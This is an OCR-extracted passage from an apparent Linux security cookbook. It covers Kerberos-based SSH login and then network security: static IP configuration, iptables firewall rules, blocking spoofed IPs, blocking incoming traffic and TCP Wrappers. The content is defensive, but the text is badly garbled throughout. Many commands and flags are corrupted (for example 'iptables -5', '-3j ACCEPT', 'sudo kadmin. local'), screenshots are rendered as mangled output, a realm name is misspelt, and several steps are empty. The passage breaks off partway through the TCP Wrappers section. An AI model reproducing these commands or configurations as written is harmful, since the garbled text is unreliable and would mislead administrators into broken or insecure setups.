.mit.edu = ATHENA.MIT.EDU
mit.edu = ATHEMA.MIT.EDU
.media.mit.edu = MEDIA-LAB.MIT.EDU
media.mit.edu = MEDIA-LAB.MIT.EDU
.csail.mit.edu = CSAIL.MIT.EDU
csail.mit.edu = CSAIL.MIT.EDU

.whoi.edu = ATHENA.MIT.EDU

whoi.edu = ATHENA.MIT.EDU
.stanford.edu = stanford.edu
.slac.stanford.edu = SLAC.STANFORD.EDU
mykerberos.com = MYKERBEROS.COM
.mykerberos.com = MYKERBEROS.com



10. Next, we need to add principles or entries to the Kerberos
database which will represent users or services on the network.
Doing so, we will use the tool kadmin.1o0cal. The principle must
be defined for every user that participates in Kerberos
authentication.

Run the tool by typing the following command:

sudo kadmin. local

This will start the xadmin.1ocal prompt, as shown here:

tajinder@mvkerberos:~5 sudo kadmin. local

Aulthenlicaling a= principal rool/adrin@MYEERBEROS.COM wilh password.
kadrin.local: 1lstprincs

Hj"r-'f.f FYHRE RBEROS . C0M

kadrin/admin@MYKERBERDS . COM

kadrin/changepwiaMyKERBERQS . COM
kadrin/ec2-51-201-82-69. . us-wesl-2, compule. andzonaws . confMYKERBEROS . COM
krht Ot /MYKERBFROS . COM@AMYKEREFROS . COM

kadrin.local:

11. To see the existing principles, we can type this command:
list princs

12. Now to add a principle for a user, we use the addprinc
command. To add the tajinder account, we have used the
command as shown here:

kadrin. lacal: addprine tajinder

AARNING: noe pallcy speclfled for tajindergYYKCROCROS.COM: defauliing ta ne polic
y

Enter password for principal "tajinder@MYKEHBEROS.C0M":

rRe-enter password for princlipal "tajinderg®YKCROCROS.COM™:
Principal "Lajinder fMYEFRRFRIZ.COM" creaied.
kadmin. local:

13. To add the aamin role to the account being added, the command
is shown in the following screenshot:



14.

15.

16.

17.

18.

L:rr1n lahal: addprinzs reotfadmin
o policy speocified For roobfadmingMYKERBERIS.COM: defaullbing Lo no pol

ord for principal "root/s
Hﬂld lll p inc LLd'

incirel
kadrin. lﬁ al:

If we give the admin role to any user, then uncomment the
* /admin lin€ iN /etc/krb5kdc/kadm.acl file.

To check if the principle has been applied correctly, use the
following command:

kinit
Once done with the setup of Kerberos system, we now move to
the client system. First, we need to install the client package for

Kerberos by using the command shown in the following
screenshot

rigsshclient:~5 sude api-get install krbL-user
password fo aj
pa:l:gc L

L be Lnstalled:
ibgssrpcd Libkadm5clnt-mit8 1ibkadmSsrv-miza
LSSUpporté

Lowing MFW packages will he inszballed:
krbs canfig krb5 user libgssrped libkadmSclnt -mil8 libkadmSsre-miil
libkdhs-&
The following packages will be upgraded:
libgssapi-krbs-2 libkrbs-3 libkrbSzupporte
3 upgraded, o newly installed, & to remove and 33 not wpgradsd.
Heed to get 8341 kB oF arch s
Afber Lhis operabion, 1,129 kB ol additional diszk space will be used.
Do you want Lo conlinue [¥/n7? ]

During the installation process, the same questions will be
asked, which were asked during the installation of the Kerberos
server. Enter the same details here as we entered earlier.

After completing installation, check if we are still able to ping
mykerberos.com from the sshclient.com system.



19. Now to get the ticket for the client machine, depending on the

20.

principle that we created in nykerberos.com, the command to be
used is shown here:

tajinderg@sshclient:~5 kinit root/admin
Password for root/admin@MYKERBEROS.COM:

tajinderg@sshclient:~5 |}

o If the command runs perfectly, it means it is working fine.

Once done with the previous command, we move to the third
system which we are using as SSH server. We need to install
the SSH server and xrb5-config package on this system. To do
so, we run the command as shown here;

lajinderguszhserver i-% sude apl-gel inzlall vpenssh-server krbs-conliyg
[sudn] passwoard far tajinder:
Reading package Llist:z... Dane
Building dependency tree
Reading slale informalion. .. Done
apenssh-server 15 already the newest wersion.
The following MLW packages will be installed:
krbS-config
@ upgraded, 1 newly inslalled, & Lo remove and 326 nol upgraded.
Woed to get 23.8 kB of archives.
fter this operation, 98.3 ki of additianal disk space will be used
Do you want to continus |¥/n]?

o Again, we will be asked the same questions which were
asked during the installation of the Kerberos server. Enter
the same details here as previously.

Now edit the /etc/ssh/sshd config file to enable the following
lines:

# GSSAPI options
#GSSAPIAuthentication no

EGSSAPIcleanupCredentialﬁ yes




21,

22.

23.

24,

Remove the # and also change the value to vyes if it is not
already. After making the changes, restart the SSH server using
the following command:

sudo service ssh restart

Next, we will configure Kerberos server so that it works with the
SSH server. To do so, we run the xadmin.1local tool and then run

the foIIowmg commands:

addprinc -randkey hostjschzerver.com
policy speclfisd faor host) EFWEr. ‘-m@F“EEHJERUE,EDH: defauliing ©

L 1pal h::‘frshterf#r.humL“mFL BERUS.CO#™ created.
kadmin. local:

The above command in the image adds the principle for the
SSH server. Next, we run the command shown in the following
screenshot to create the key file:

kadmin.lacal: ktadd -k .l1.'l"||'1 shserver.com. key Tnh hostf=shaerver.cam

Entry for princi pti n type 2es5256

mac - shal - 96 adde

Entry for princi co : :u:r\ptlun type arcfour-hmac
added To keyt 1= 3 <

Frniry For prir ] 1 AF 2, encryplbiaon Eype des3-cho-=ha

1 added to ke {

E||. ry For pri o L 2. encrypbion bype des-che cre
added to Ln,'—ah WEFILF: "rmr

kadmin. lecal:

Now we shall copy the key file from the Kerberos server system
to the SSH server system using this command:

tajincergmykerberos:~5 sudo scp ftmp/sshserver.com.keviab tajindergsshserver.com
s/ tmpfkrbs. keylab
tajlun:rmsshacrvﬂ :n 's password:

186k 3848 B.3KBj = a6 e

tajinderdmyke "I:t:rn‘ ~5 I



25.

26.

27.

28.

We have copied the file to /tmp/ directory of the SSH server
system. Once the copy completes, move the file to the /etc/
directory.

Now on the client system, edit the /etc/ssh/ssh config file and
modify the lines as shown:

GSSAPIAuthentication yes
GSSAPIDelegateCredentials yes

Now on the client system, get the ticket by running this
command:

kinit tajinder

Once the above command works, try to log in into the SSH

server system from the client system using ssn:
tajtndermﬁshcllen::;$ csh sshserver.com
Welcome to Ubuntu 12.84.4 LTS [GNU/Linux 3.11.8 15 geoneric i6856)

* Documentation: https://help.ubuntu.comf

MeWw release "11.84.32 LTS' avallable.
Eun 'do-release-upgrade' to upgrade to it.

Last login: Tue Jan 5 89:23:57 27016 from mykerher
tajinder@sshserver:~3% ||

We should get authenticated without being asked for the
password.



How it works...

First, we install the required packages on the first system to create a
Kerberos server. After installation, a realm is created for server
configuration. To complete the configuration, we perform the
changes as mentioned in the /etc/xrb5.conf file.

Then, we add a principle to the Kerberos database to add the user
account to be used.

Once this is done, we move to the next system and install the
Kerberos user package to create the client system. Then, we get a
ticket from the Kerberos server system for the user account to be
used on the client.

Next, we proceed to the third system where we install the openssh-
server package to create a SSH server. Then, we edit the
configuration file of SSH to enable authentication.

We now come back to the Kerberos server system and add a
principle for the SSH server. We create a key for the SSH server and
then transfer this key file from the Kerberos server to the SSH server
using the scp command.

Now if we try to log in to the SSH server system from the client
system, we get logged in without being asked for the password, as
the key we generated earlier is being used for authentication.



Chapter 6. Network Security

In this chapter, we will discuss the following:

Managing the TCP/IP network

Using Iptables to configure a firewall
Blocking spoofed addresses

Blocking incoming traffic

Configuring and using the TCP Wrapper



Managing the TCP/IP network

When computers are connected to each other to form a network and
exchange information and resources with each other, managing this
network information becomes an important task for a system
administrator.



Getting ready

Before we start making any changes to the TCP/IP configuration,
make sure to create a backup of the Network Manager configuration
file, using this command:

root@sshserver: -2 cp Jetc/HeTtworkManager JNetwork®anager.conf fetcfHWetworkManager
JHebwar wper . cont . hak

raotiszhserver: -

Also, create a backup of the /etc/network/interfaces file in the
same way.



How to do it...

In this section, we will take a look at how we can manually configure

network settings using the command line:

1. Before starting the manual configuration, first let's check our
current IP address, which has been assigned to the system
automatically by DHCP. We can check the details graphically by
right-clicking on the Networking icon in the top-right panel and

then selecting Connection Information, as seen in the

following image:

™ Connection Informaktion

General

InterFace:
Hardware Address;
Driver:

Speed:

Securiby:

1Pvd
IP Address:

subnet Mask:
Default Route:
Primary DMS:

Active Network Connections

Wired connectlon 1 (default)

Broadrasl Address:

£ 1 &) 4nnam A Tejinder $%

Wired connection 1

Cisconnect

WPH Connections
« Enable Netwerking
Ethernet (etho)
O0C. 29,28, 72.C8
pcner3a
Unknown
Hone

192.168.1.101
192.16R.1.255
235.255.255.0
132.168.1.1
192.16R.1.1

We can see that the current IP address of our system is

192.168.1.101.

2. Next, we check this information using the command line. We

type the ifconfig command to do this.




roctiisshserver:~# itcenfig

etho Link encap:Lthernet HWaddr 98:gc:29:28:72:d6
inet addr:19:.168.1.101 Geast 5% Mask:iZhL.255.255.0
inets addr: 28¢ ‘“TT.'E_H.n_dtphd Loape:link
UF GROADCAST RUNNING MULTICAST MTU:1580 Metric:1

RX packets:141738 errors:4 dropped:4 everruns:o frame:n
¥ packets:51838 errors:0 dropped:d overruns:o carrier:g
len:i606
8 ME) T bytez:0770618 (0.7 MB)
rhrnmrluan. address: 02088

3. If we just want to check the available Ethernet devices on the
system, we can run this command:

root@sshserver:~# itconfig -a | grep eth
3] Link encap:Ethernet HWaddr ee:ec
root@sshserver:~-#

The preceding command will list a one-line description of all the
available Ethernet devices on the system.

4. If we want a more detailed insight into the network interface, we
can use the 1shw tool.

root@sshserver i-# 1shw -class neTwork

] anLt Semiconduc Lo gH?UHrﬂl Eleclronics)
b
 pclEpaEg ez al.a
legical name: etha
wersion: 1@

AB:@e: 29 2R T2 odé

This tool also gives detailed information about the other
capabilities of the hardware.



5. Now, we will disable Network Manager and then set the details
of the IP address manually. To disable Network Manager, edit
the /etc/NetworkManager/NetworkManager. conf file.

[main]

plugins=ifupdown,keyfile
dns=dnsmasq

no-auto-default=00:0C:29:28:72:D6,

[ifupdown]
managed=talse

Change the line managed=false 10 managed=true and save the file.
6. Now, open the /etc/network/interfaces file in an editor of your

choice. We see that, by default, there is no information
regarding the etho interface.

auto lo

iface lo inet loopback

7. Edit the file and add the information shown in the following
screenshot. Make sure to add the IP details according to your
network settings.



auto lo
iface lo inet loopback

auto eth®
iface eth® inet static

address 192.168.1.101
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1

When done, save the file, and then reboot the computer to
disengage Network Manager.

. If we wish to create a virtual network adapter, we can add the
following lines to the /etc/network/interfaces file, as shown
here:

auto ethd:0
iface eth®:8 inet static

address 192.168.1.116
netmask 255.255.255.0
gateway 192.168.1.1

By doing this, we have added two IP addresses to the single
Ethernet card. We can do this to create multiple instances of the
network card.

. Once the preceding editing is complete, restart the networking
service using either of the following commands:

service network-manager restart
/etc/init. d/networking restart



10. Next, we take a look at how to configure the appropriate name
server that is to be used if the IP address is being configured

manually.

To make the changes, edit the /etc/resolv.conf file in any
editor, and add these lines:

nameserver 192.168.1.1
nameserver 192.168.1.1J]

nameserver 127.0.08.1
search com

By following the preceding steps, we will be able to configure the IP
details successfully.



How it works...

The TCP/IP settings on a system can be either managed
automatically or manually. Depending on the content in the
/etc/NetworkManager/NetworkManager.conf fiIe, the system will
understand whether the settings are to be managed automatically or
manually.

For a manual configuration, we edit the /etc/network/interfaces file,
and enter the preceding IP details. Once this is done, we restart the
networking service or completely reboot the system to make the
changes effective.



Using Iptables to configure a firewall

One of the essential steps required to secure a Linux system is to
set up a good firewall. Most Linux distributions come preinstalled
with different firewall tools. Iptables is one such default firewall in a
Linux distribution. In older versions of the Linux kernel, Ipchains was

the default firewall.



Getting Ready

Since Iptables ships with the Linux distribution, no extra tool needs
to be installed to use it. However, it is recommended that when you
use Iptables; do not use the root account. Instead, use a normal
account that has super-user access to run the commands efficiently.



How to do it...

We can define different rules using Iptables. These rules are then
followed by the kernel when checking incoming and outgoing traffic

packets:

1. The first thing we need to do on our system is check which
version of Iptables is installed using the command shown here:

root@sshserver:~# iptables -V
iptables v1.4.12
root@sshserver:~#

2. Now, we will check whether any rule already exists on the
system for Iptables using the -1 option.

rool@sshserver:~# iplables -L
Cchain INPUT (policy ACCEPT)
target prot opt source destination

Chain FORWARD (policy ACCLCPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination
root@sshserver:-#

3. The preceding output can also be seen in a format that tells us
about the commands that are necessary for each policy. To do
this, use the -s option, as shown here:

root@sshserver:~# iptables -5
-P INPUT ACCEPT
-P FORWARD ACCEPT

-P OUTPUT ACCEPT
root@sshserver:~#




4. Now, we will check which of the modules of Iptables are loaded
by default in order to know their proper functionality using this
command:

root@sshserver:~# Lsmod | grep ip tables
183082 1 iplahle_riltes

¥ tables 22178 2 iptable_filter,
irnc-tﬁiﬁhﬁerver:r-# I

5. Let's add this first in Iptables, which will make sure that all the
online connections at present will stay online even after we have
made rules to block unwanted services:

iptables -A INPUT -m conntrack --ctstate
ESTABLISHED ,RELATED -3j ACCEPT

Here, the -2 option appends a rule to the existing table. 1npur
says that this rule will be appended to the Input chain of
Iptables. The next few arguments of the -m conntrack --ctstate
ESTABLI SHED, RELATED command make sure that the rule applies
only to connections that are online currently. Then, -5 acceeT
tells Iptables to accept and allow the packets that match the
preceding specified criteria.

6. Now, if we check the list of rules in Iptables again, we will see
that our rule has been added.

rootéssheorver -4 lptables L

Chain THRUIT (policy ACCFPT)

tarcet prot opt source destinatic

ACCTRT all -- anywhere Anywhers ctsbate ST ATID, FETARI TEIED

Chain | DNHARD (palicy ACEITI)
Lanoel prol upl sgurce desLingl Lo

Chain OUTPUT (policy NI
target prot apt 50 destinatio
roobgsshees ver =i ]

7. Let's assume that we want to allow our SSH connection through
Iptables. For this, we add this rule:



10.

server:-# iptables -A LNPUT -p tcp --dport 22 -j ACCEF]
server:~% iptables -L
PUT {pollcy ACCEPT)
Largol prol opt =source desLinal Lon
nECER a1l -- anwvwhere anywhere ctatate HELATED k%
AEL T5HFD
ACCCPT ICp  -- anywhere anywhers t€p dptissh

Chain FORWARD {policy ACCEPT)
target prat opt =ource destination

Chein OUTFUT (pollcy ACCCPT)
target prat optT scurce destination
root@sshsorver @ F

We have used port 22 as it is the default port for SSH. If you
have changed the port for SSH in your server, use the
appropriate port from the preceding command.

. We also need to make sure that our server continues to function

properly by letting the services on the server communicate with
each other without being blocked by the rules of Iptables. To do
this, we want to allow all the packets being sent to the loopback
interface.

We add the following rule to allow the loopback access:

iptables -I INPUT 1 -i lo -j ACCEPT

. Here, the -1 option tells iptables to insert a new rule rather than

append it. It takes the chain and position where the new rule
needs to be added. In the preceding command, we add this rule
as the first rule in the 1xpuT chain so that it is the first rule that's
applied.

Now, if we see a list of rules in Iptables using the -v option, we
notice that the rule for the 10 loopback interface is our first rule.



rooTfsshserver - iptables -1 -w
Cha INPUT [palley ACCEPT Z packets, &4 bytes)
pkis byites target probl oplb in guk =OuUrCE desbinalion

| 8 ACCEPT all. -- 1o any anvywhers anywhere

2928 ACCLPI all -- any any anywhers anywhere
clslaiec RELATED ESTABLISHED

B ACCER] Tcp --  any any anywhera anywhare
Tcp dpt:ssh

Chain FURKoRD (policy ACLEPT @ packets, 8 bvtes)
pkts bytes target prot apt in aut caurce destination

Chain uIITP UT (policy ACCEPT 1 packsols,
prot opt in Sgurce destinatien

11. Assuming that we have added rules for all the packets to be
allowed as per our requirements, we have to make sure that any
other packet that enters the 1xpur chain should be blocked.

To do so, we will modify the 1xeur chain by running this
command:

iptables —-A INPUT —-j DROP

s 1|:ta-l:1:.~= -& INFUT -3 DRUOP

g prat ﬂpt 50 - destination
ACCFRT all anywhere anywhor o
ACCEPR] all -- anyxhere anywhere ctstate RELATED,ES
TAELISHELD
ACCFRT tep --  anyshere anywhere tep dptissh
DROF all -- anyshere anywhere

Chain FOREARD (policy & ]
target pret opt so e destinatlen

Chain OUTPUT {policy ACCEPTD)
target praot opt source destination

The code in the preceding screenshot shows that the rule to
drop all packets has been added to the bottom of the list in the
1npuT chain. This makes sure that whenever a packet comes in,



12.

13.

14.

the Iptables rules are checked in the order specified. If none of
the rules match for the packet, it will be dropped, thus
preventing a packet from being accepted by default.

Until now, whatever rules we have added in Iptables are
nonpersistent. This means that as soon as the system is
restarted, all the rules in Iptables will be gone.

So, to save the rules that we have created and then
automatically load them when the server reboots, we can use
thej&ﬁﬁbles—persistent.paCkage.

Install the package using this command:

apt-get install iptables-persistent

eaeirg st =
The followlng WEW pac Laq-: will be installed:
iplables persisbent
g upgraded, 1 newly 'in.r.TFﬂIF-rI, 8 to remowve and 320 not upgraded.
Heed To get £,950 B of archlves.
after this errETll 8.4 kB of additional di pace will be used.
buntu. comfubunluyf precisefuniverse iplables-persistenl a

7 kB/5)
[

celing previ u,L, unsclecled package iLplables persistent.
q datzbase ... 14788 Filez and directories currently 1nrr1l'lrrl 3
an* l1n; iptebles-persistent (frem .../Llptables-persistent_€.5.3ubuntuz_all.desb)

I" ocessing Lrig

Setting up iptables-persistent (0.4 .3vhuntuz) ...
* Loading

* IFv4...

E CIPwl ..
rooteshserver:-

During the installation process, you will be asked whether you
want to save the current iptables rules and automatically load
them. Select Yes or No as per your requirements.



Conliguring iptables persistent |

Current iptables rules can be saved Lo Lthe configuralion File
fetc/iptablas/rules.v4. These rules will then be losded auto-atically
during sysiem =Llariup.

Pules are only saved avlomelically during packege inslallalion. See Lhe
manual page of iptables-save(s) for instructions on keeping the rules
File up- to-dalke.

Save currenl IPwd rules?

15. Once the installation is complete, we can start the package by
running this command:

rooctgsshserver:-# service iptables-persistent start
* Loadlng lptables ru
o IPwd. ..

k TPwh...
rl'll'lttl_|"""."|"'.'?'"u't:'l' S I




How it works...

In the preceding example, we use Iptables in Linux to configure a
firewall on our system.

First, we go through the basic options of the iptabies command, and
then we see how to add different rules in iptables. We add rules to
allow localhost access and outgoing active connections. We then
add a rule to allow an SSH connection.

Next, we add a rule to deny every other incoming packet that does
not match the preceding rules.

Lastly, we use the iptables-persistent package to save the rules of
iptables even after a system reboot.



Blocking spoofed addresses

IP spoofing is a very common technique used by attackers to send
malicious packets to a computer server. This is the process of
creating IP packets with a forged IP address. It is mainly used for
attacks such as Denial of Service (DoS).



Getting Ready

If we wish to block a spoofed IP address, we need to have a list of IP

addresses or domain names from where these spoofed connections
have been trying to connect.



How to do it...

We will try to create a basic ruleset of iptabies through which we will

restrict all incoming packets, except those that are necessary for our
usage:

1. The first step is to create a rule to allow access to the loopback
interface so that services on the system can communicate
properly with each other locally. The command to do this is as
follows:

iptables -A INPUT -i lo -j ACCEPT

rootasshserver:~g 1ptables -A INFUT -1 Lo -] ACCCPT

roolfsshserverz-# iptables 1w

Chain INPUT (policy ALLLF! 1 packets, &F bytes)

pkls byles Largel prol opl in oulk SO LD deslination

] & ACCEPT all 1o any anywhere anywher e

Chain FORKARD [(policy ACCEPT B packets, & bytes)
pkts bytes target prot opt 1n aut saurce destination

Chain OUTPUT {policy ACCFRT 1 packel=s, 67 bvles)
pkts bytez target pret opt 1n sut souUrce destimation

This is necessary for the system to function properly.
2. Next, we create a rule for outbound connections that have been
initiated by our system:

iptables -A INPUT -m conntrack --ctstate
RELATED, ESTABLISHED -3j ACCEPT

This will accept all the outbound traffic, including responses
from remote servers, which we have try to connect to ourselves
(such as any website that we visit).



iserver-# Lplables A& INPUT m connirack - -clslale ESTABLISHED , RELATED

erver:~g Lptables -L
Chain TNPUT (policy ACCEPT)
target prat opt source destination
ACCERT a1l anywhers anywhere
ACCERT all -- anyahers anywhere ctatate HELATED,ES
TAELISHED

chain FURHARD [pelicy ACC
Largok 3

Chaln QUTPUT (pollicy ACCCPT)
Larget prob opl source destination

rocTEss hserver:~z

. Let's create a table to be used in iptabies. We will call it
blocked ip but you can choose a name of your choice:

iptables -N blocked ip

This is the table where we will add the spoofed IP addresses
that we want to block.

. Now, we insert this table into the tneuT table of iptapvies using
this command:

iptables -I INPUT 2 -j blocked ip

Note that we have used number 2 to make sure that this rule will
be second from the top in Iptables.

. Next, let's add some bad IPs into the b1ocked ip table that we
have created:

iptables -A blocked ip -s 192.168. 1. 115 -j DROP

We used the 192.168.1.115 |IP address as an example here. You
can replace it with an IP address that you want to block. If you
have more than one IP address to block, add them one by one
to iptables.

. We can see a list of rules in iptables using this command:

iptables -L



In the details shown in the following screenshot, at the bottom,
you'll notice the IP address that we are trying to block. You can
specify a single IP address or a range as per your needs.

rest@sshserver:-# iptables -L
1licy ACCEPT)

destination

anywhere

anyahers

BhYkhers ctztate

TARL TEHFD

Chaln FORWARD (policy ACCCPT)
Larqget prol opl source deslinal ion

Chain GUTPUT (policy ACCEP
targex pProtT optT source destination

Chain blocked ip {
target proT OpT source
DR2P all 192 .16%.1.115 anywhere

destination

7. After making rules in Iptables, we can edit the /etc/host.cont
file as well. Open the file in any editor of your choice. | am using

nano.

nano /etc/host. conf

Now, add or edit the following lines in the file, as shown here:

orderbind,hosts
nospoof on

# The "order" line is only used by old versions of the € library.
order hosts,bind
multi on

no=poon [ on

In the preceding example, the nospoof on oOption performs a
comparison of the |IP address returned by the hostname lookup with
the hostname returned by the IP address lookup. If the comparison
fails, this option generates a spoof warning.



Once done, save and close the file. This will also help to protect the
system from IP spoofing.



How it works...

To block a spoofed IP address or any other IP address, we again use
Iptables as it is the default firewall, unless we don't want to use any
other tool that's available for Linux.

We create rules once again to allow localhost access to the system
and also to keep outbound active connections alive. Then, we create
a table in Iptables, which we use to maintain a list of spoofed IP
addresses that we want to block. We add this table to the input chain
of Iptables. Then, we can add any IP address to the table whenever
required, and it will automatically get blocked.

We also use the /etc/host.conf file to protect the system from IP
spoofing.



Blocking incoming traffic

One of the most important tasks for a Linux system administrator is
to control access to network services. At times, it may be better to

block all incoming traffic on the server and only allow the required
services to connect.



Getting Ready

As we will be using Iptables here as well, no extra package is
needed to perform these steps. We just need a user account with

super user access. However, this account should preferably not be a
root account.



How to do it...

We will configure Iptables to deny everything except the traffic that
has been initiated from inside our system (such as web browsers
that get web traffic or a download that has already been initiated to

update the package or any other software):.

1. As seen in previous examples, the first rule in Iptables will be to
allow access to localhost data. Run this command in order to

allow access:

iptables -A INPUT -i lo -j ACCEPT

roct@sshserver:~# iptables -A INFUT -1 Lo -] ACCCPT
roolfsshserverz-# iptables |
Chain INPUT (policy ALCLF! 1 packets, &7 bytes)

pkls byles Largel prol opl in oul SOUTCE

] & ACCERT all 1o any anywhere

FORMPED (palicy ACCEPT 8 packsts, 8 bytes)
bytes target prot opt in aut Saurce

OUTPUT {policy ACCFRT 1 packels, A7 byles)
bytes target pret opt in Ut SOUrCE

2. The next rule will be to accept all traffic-related to outbound
connections. This also includes responses from the remote

server to which our system is connected:

iptables -A INPUT -m conntrack --ctstate
RELATED ,ESTABLISHED -3j ACCEPT

deslinabion

anywher e

destination

destimation




iserver-# Lplables A& INPUT m connirack - -clslale ESTABLISHED , RELATED

erver:~g Lptables -L
Chain TNPUT (policy ACCEPT)
target prat opt source destination
ACCERT a1l anywhers anywhere
ACCERT all -- anyahers anywhere ctatate HELATED,ES
TAELISHED

chain FURHARD [pelicy ACC
Largok 3

Chaln QUTPUT (pollicy ACCCPT)
Larget prob opl source destination

rocTEss hserver:~z

. Next, we will add a rule to accept Time Exceeded ICMP
packets. This is important for time-restricted connection setups:

iptables -A INPUT -p icmp -m icmp --icmp-type 11 -3j ACCEPT

. After this, we will add a rule to accept Destination Unreachable
ICMP packets coming in from remote servers:.

iptables -A INPUT -p icmp -m icmp --icmp-type 3/4 -3j ACCEPT

. Then, add a rule to accept ping requests/responses (Echo
ICMP) to keep our system's connections alive to those web
services that may require ping:

iptables -A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT

. Once the preceding rules have been added, we check the list in
Iptables by running this command:

iptables -L



es -a INFUT -p lemp -m lomp --lemp-type 11 -] ACCEFT
A INPUT -p Lemp m Lomp (1 type 34 -] ACCEPT
A INPUT -p icmp -m icmp --icop-Type B -] ADCEPI

destination
anywhore
anywhere ctetate RELATED,ES

TAELISHCD
ACCFRT icmp anyshere anywher o icmp Lime exceeded

ACCEP] icep --  anywshere anywhere icmp fragmentation
neceded
ACCERT icrmp -+«  anywhere anywhere icmp echo-request

Chain FORWARD {policy ACCEPT)
target prot opt s« destinaticn

Chain OUTRUT {policy ACCERT)
pret opt source destinatlen

rooifsshsorver &

. We will create a table of iptabies, which will contain a list of
acceptable rules and services:

iptables -N allowed ip

We then add this table to the INPUT chain of Iptables:

iptables -A INPUT -]j allowed ip

. Let's add a rule so that access to SSH is allowed on the system.
To do so, we run this command:

iptables -A allowed ip -p tcp --dport 22 -j ACCEPT

. If we check the list of rules in Iptables, we get the following
result

iptable -L



10.

1.

r:~ lptables -4 allowed_ip

anywhere
ACCCPT . -- anywhers
TAEL TSHED
ACCCPT cmp -- anywhere
ACCFPT lcm anyahere
-needed
ACCEPT anyahere
allowed_ip all -- anywhere

Chain FORWARD (policy ACCERT )
target prot opt source

Chailn QUTPUT {policy ACCCFT)
Largel prob opl source

-p tep --dport 2z -] ACCEPT

anywhere
anywhere

anywhero
anysherse

destination

ctstate RELATLD,ES

icmp time-exceeded
itemp Fregmenbalion

iemp echo-roeguest

Tep dptissh

Once we have added rules to accept the traffic that we want, we
will now want to reject all other traffic for which no rules have
been set. To do so, we add this rule;

iptables -A INPUT -j REJECT --reject-with icmp-host-

unreachable

By doing this, whenever anyone tries to connect to the server, a
Host Unreachable ICMP packet will be sent to them, which
would then terminate the connection attempt.

After adding all of the preceding rules, Iptables will now look
similar to what is shown in the following screenshot

iptables -L



hserver:~z Lptables -L
INPUT (policwy ACCEPT)
prot opt source
all anywhers V
ACCFRT all -- anvahere anywhere ctstate RFLATFD,FS
TAELISHCD
ACCFPT (4 ol anyaher o anywhere icmp Lime e deed
BCCEPRT lcap --  anywhere anywhere icmp fragmentation
needed
ACCERT - anyahers anywhere icmp echo-request
allowed ip all anywhere anyxhere
I FCT all anywhero anywhere rejecl-with temp-h
t-unreachakble

Chain FORWAED [policy ADCEPT)
target prat opt source destinatlion

lowed_1p (1 refe
prot opt =aurce destination
tcp - anyahere anywhere Top dpt:ssh




How it works...

To block all incoming traffic on the server and allow only outbound
connections, we again use Iptables as it is the default firewall of
Linux.

To allow the proper functioning of the server internally, we allow
access to localhost.

Next, to keep the outbound connections active, we add a rule to
accept the Time Exceeded, Destination Unreachable, and Echo
ICMP packets.

Once these rules have been added, we can decide whether we wish
to allow any incoming traffic for particular services, such as SSH, or
a certain client address. For this, we create a table to add a list of IP
addresses for the clients that we want to allow. We add a rule to
allow access to an SSH service or any other service as per our
requirements.

Lastly, we add a rule to reject all the traffic for which no rule has
been added.



Configuring and using the TCP
Wrapper

Securing a server by restricting access is a critical measure, which
should never be avoided while setting up a server. Using TCP
Wrappers, we can allow only those networks to have access to our
server's services that we have configured and support TCP
Wrappers.



Getting Ready

To demonstrate these steps, we use two systems that are on the
same network and can ping each other successfully. One system will
be used as the server and the other as the client.



How to do it?

Linux provides several tools to control access to network services.
TCP Wrappers is one among those and adds an additional layer of
protection. Here, we will take a look at how to configure TCP
Wrappers to define access for different hosts.

1. First, we need to check whether a program supports TCP
Wrappers or not. To do this, first find the path of an executable
program using the wnhicn command:

which sshd

root@sshserver:~# which sshd
Jusrfsbin/sshd

root@sshserver:~# I

Here, we have used the SSH program as an example.
2. Next, we use the 144 program to check the compatibility of the

SSH program with TCP Wrappers:

1dd /usr/sbin/sshd

uvr:ué 1dd Jusr/tsbin/sshd
1%~ n1 ar.1 == o
w-l1nu qnurlibwrap so.0 (0xbT72000)
c-gnug Libpam. so.@
-11nu~ gnu/ 11b5ﬂ11
J

CrypTa.so.l1.8.

Libutil.=o.1 =2 f||hiluqﬂ Ilnuu gnuflibutil.=o. 1 In;hrf‘1w¢ni
11b ;

4abooa)

If the output of the preceding command has the 1ibwrap.so
content, it means that the program is supported by TCP



Wrappers.
. Now, whenever an SSH program tries to connect to the server
using TCP Wrappers, two files are checked in this order:
o /etc/hosts.allow. |If @ matching rule is found in this file for
the program, access will be given
o /etc/hosts.deny. If @ matching rule is found in this file for
the program, access will be denied
. If no matching rule is found in either of the two files for the
specific program, access will be given.
. If we try to connect to the SSH server, before adding any rule,
we see that it connects successfully

rest@rvkerberos;:~# ssh tajind
T|‘|E" ..uui'henh citv of host '14 1'}"' 16 l-t.i 1:I?I| can't be establizhad.
05 28 6c:d% ob: fbrifzeh.

& ranently added °
tajinderglyz.168.1.1087's pas

Helcome Lo Ubunto 12.684.4 ITS (GNU/Linux 3.11.8-15-generic i6REG)
* Pocumentation: htips://help.ubuntu.com/

Mew release '14.84.3 L15" available.
Run 'do-release-upgrade? to upgrade Lo DL

ast Logi Tue Jan & 1G6:43:8R 2816 fFran Tj-dev-client. lacal
tajindergsshserver:-5 |

. Now let's suppose we want to deny access to the SSH program
for a particular system that has a given IP address. Then, we
will edit the /etc/nosts.deny file, as shown here:

¢ Jelcfhosts.deny: 1Tist of hosis thal are ol allowed bo access Lhe sys l:11
<ee the manual pages hosts_access(5) and hosts_apt 1|n

Frample: ALL : mome . hosl oname, .some.domain
ALL EXCEPT in.fingerd: other.host.name, .other.domaln

I The PARAMOTD wildcard matches any host whose name does not match its
boaddress.,

You may wish to enable this To ensure any programs that don't

[ validale Looked oup | ames sbill leave understandable logs. Tn pasl
versions of Deblan this has been the default.
AlLL: PARANOLD

=shd : 182,166 1. 186]




7. If we try to connect to the SSH server from this particular system

for which we have denied access, it shows the following error:

roct@mykerberos:~# ssh tajinder@i122.1c8.1.167
ssh_exchange_identification: Connecticon closed by remote host

roct@nykerberos: ~# I

8. If we want to allow access for all programs and clients, you can
either add no rules in either of the two files or add the following
line to the /etc/hosts.allow file:

ALL E ALL

9. If we want to allow access for all the services from a particular
client that has the 192.168.1.106 IP address, then we add the
following line to the /etc/hosts.allow file:

I fetc/hosbs. allow: Lisl of hos=ts thal are allowed to access Lhe sy=iem.
ses the manual pages hosts_access(5) and hosts_optlens(s).

Example: ALL: LOCAL gzorme _netgroup
[ AlLL: .faobar.edu FECFPT terminalserver.foobar . edu

102.16B.1. 1604

10. If we want to allow all the clients on a particular network to
access SSH, except for a particular client that has the
192.168.1.100 |IP address, we can make the following changes
to the /etc/hosts.allow file:



1.

12.

